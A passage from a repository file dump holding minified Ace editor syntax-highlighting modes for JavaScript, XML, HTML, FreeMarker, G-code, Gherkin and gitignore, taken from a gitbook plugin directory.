,next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/ftl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"\\\\?|substring|cap_first|uncap_first|capitalize|chop_linebreak|date|time|datetime|ends_with|html|groups|index_of|j_string|js_string|json_string|last_index_of|length|lower_case|left_pad|right_pad|contains|matches|number|replace|rtf|url|split|starts_with|string|trim|upper_case|word_list|xhtml|xml\",t=\"c|round|floor|ceiling\",n=\"iso_[a-z_]+\",r=\"first|last|seq_contains|seq_index_of|seq_last_index_of|reverse|size|sort|sort_by|chunk\",i=\"keys|values\",s=\"children|parent|root|ancestors|node_name|node_type|node_namespace\",o=\"byte|double|float|int|long|short|number_to_date|number_to_time|number_to_datetime|eval|has_content|interpret|is_[a-z_]+|namespacenew\",u=e+t+n+r+i+s+o,a=\"default|exists|if_exists|web_safe\",f=\"data_model|error|globals|lang|locale|locals|main|namespace|node|current_node|now|output_encoding|template_name|url_escaping_charset|vars|version\",l=\"gt|gte|lt|lte|as|in|using\",c=\"true|false\",h=\"encoding|parse|locale|number_format|date_format|time_format|datetime_format|time_zone|url_escaping_charset|classic_compatible|strip_whitespace|strip_text|strict_syntax|ns_prefixes|attributes\";this.$rules={start:[{token:\"constant.character.entity\",regex:/&[^;]+;/},{token:\"support.function\",regex:\"\\\\?(\"+u+\")\"},{token:\"support.function.deprecated\",regex:\"\\\\?(\"+a+\")\"},{token:\"language.variable\",regex:\"\\\\.(?:\"+f+\")\"},{token:\"constant.language\",regex:\"\\\\b(\"+c+\")\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\b(?:\"+l+\")\\\\b\"},{token:\"entity.other.attribute-name\",regex:h},{token:\"string\",regex:/['\"]/,next:\"qstring\"},{token:function(e){return e.match(\"^[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?$\")?\"constant.numeric\":\"variable\"},regex:/[\\w.+\\-]+/},{token:\"keyword.operator\",regex:\"!|\\\\.|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qstring:[{token:\"constant.character.escape\",regex:'\\\\\\\\[nrtvef\\\\\\\\\"$]'},{token:\"string\",regex:/['\"]/,next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(o,s);var u=function(){i.call(this);var e=\"assign|attempt|break|case|compress|default|elseif|else|escape|fallback|function|flush|ftl|global|if|import|include|list|local|lt|macro|nested|noescape|noparse|nt|recover|recurse|return|rt|setting|stop|switch|t|visit\",t=[{token:\"comment\",regex:\"<#--\",next:\"ftl-dcomment\"},{token:\"string.interpolated\",regex:\"\\\\${\",push:\"ftl-start\"},{token:\"keyword.function\",regex:\"</?#(\"+e+\")\",push:\"ftl-start\"},{token:\"keyword.other\",regex:\"</?@[a-zA-Z\\\\.]+\",push:\"ftl-start\"}],n=[{token:\"keyword\",regex:\"/?>\",next:\"pop\"},{token:\"string.interpolated\",regex:\"}\",next:\"pop\"}];for(var r in this.$rules)this.$rules[r].unshift.apply(this.$rules[r],t);this.embedRules(o,\"ftl-\",n,[\"start\"]),this.addRules({\"ftl-dcomment\":[{token:\"comment\",regex:\".*?-->\",next:\"pop\"},{token:\"comment\",regex:\".+\"}]}),this.normalizeRules()};r.inherits(u,i),t.FtlHighlightRules=u}),define(\"ace/mode/ftl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ftl_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ftl_highlight_rules\").FtlHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.$id=\"ace/mode/ftl\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-gcode.js",
    "content": "define(\"ace/mode/gcode_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"IF|DO|WHILE|ENDWHILE|CALL|ENDIF|SUB|ENDSUB|GOTO|REPEAT|ENDREPEAT|CALL\",t=\"PI\",n=\"ATAN|ABS|ACOS|ASIN|SIN|COS|EXP|FIX|FUP|ROUND|LN|TAN\",r=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\(.*\\\\)\"},{token:\"comment\",regex:\"([N])([0-9]+)\"},{token:\"string\",regex:\"([G])([0-9]+\\\\.?[0-9]?)\"},{token:\"string\",regex:\"([M])([0-9]+\\\\.?[0-9]?)\"},{token:\"constant.numeric\",regex:\"([-+]?([0-9]*\\\\.?[0-9]+\\\\.?))|(\\\\b0[xX][a-fA-F0-9]+|(\\\\b\\\\d+(\\\\.\\\\d*)?|\\\\.\\\\d+)([eE][-+]?\\\\d+)?)\"},{token:r,regex:\"[A-Z]\"},{token:\"keyword.operator\",regex:\"EQ|LT|GT|NE|GE|LE|OR|XOR\"},{token:\"paren.lparen\",regex:\"[\\\\[]\"},{token:\"paren.rparen\",regex:\"[\\\\]]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.GcodeHighlightRules=s}),define(\"ace/mode/gcode\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/gcode_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./gcode_highlight_rules\").GcodeHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.$id=\"ace/mode/gcode\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-gherkin.js",
    "content": "define(\"ace/mode/gherkin_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=\"\\\\\\\\(x[0-9A-Fa-f]{2}|[0-7]{3}|[\\\\\\\\abfnrtv'\\\"]|U[0-9A-Fa-f]{8}|u[0-9A-Fa-f]{4})\",o=function(){var e=[{name:\"en\",labels:\"Feature|Background|Scenario(?: Outline)?|Examples\",keywords:\"Given|When|Then|And|But\"}],t=e.map(function(e){return e.labels}).join(\"|\"),n=e.map(function(e){return e.keywords}).join(\"|\");this.$rules={start:[{token:\"constant.numeric\",regex:\"(?:(?:[1-9]\\\\d*)|(?:0))\"},{token:\"comment\",regex:\"#.*$\"},{token:\"keyword\",regex:\"(?:\"+t+\"):|(?:\"+n+\")\\\\b\"},{token:\"keyword\",regex:\"\\\\*\"},{token:\"string\",regex:'\"{3}',next:\"qqstring3\"},{token:\"string\",regex:'\"',next:\"qqstring\"},{token:\"text\",regex:\"^\\\\s*(?=@[\\\\w])\",next:[{token:\"text\",regex:\"\\\\s+\"},{token:\"variable.parameter\",regex:\"@[\\\\w]+\"},{token:\"empty\",regex:\"\",next:\"start\"}]},{token:\"comment\",regex:\"<[^>]+>\"},{token:\"comment\",regex:\"\\\\|(?=.)\",next:\"table-item\"},{token:\"comment\",regex:\"\\\\|$\",next:\"start\"}],qqstring3:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:'\"{3}',next:\"start\"},{defaultToken:\"string\"}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}],\"table-item\":[{token:\"comment\",regex:/$/,next:\"start\"},{token:\"comment\",regex:/\\|/},{token:\"string\",regex:/\\\\./},{defaultToken:\"string\"}]},this.normalizeRules()};r.inherits(o,i),t.GherkinHighlightRules=o}),define(\"ace/mode/gherkin\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/gherkin_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./gherkin_highlight_rules\").GherkinHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/gherkin\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=\"  \",s=this.getTokenizer().getLineTokens(t,e),o=s.tokens;return console.log(e),t.match(\"[ ]*\\\\|\")&&(r+=\"| \"),o.length&&o[o.length-1].type==\"comment\"?r:(e==\"start\"&&(t.match(\"Scenario:|Feature:|Scenario Outline:|Background:\")?r+=i:t.match(\"(Given|Then).+(:)$|Examples:\")?r+=i:t.match(\"\\\\*.+\")&&(r+=\"* \")),r)}}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-gitignore.js",
    "content": "define(\"ace/mode/gitignore_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:/^\\s*#.*$/},{token:\"keyword\",regex:/^\\s*!.*$/}]},this.normalizeRules()};s.metaData={fileTypes:[\"gitignore\"],name:\"Gitignore\"},r.inherits(s,i),t.GitignoreHighlightRules=s}),define(\"ace/mode/gitignore\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/gitignore_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./gitignore_highlight_rules\").GitignoreHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/gitignore\"}.call(o.prototype),t.Mode=o})"
  },
  {
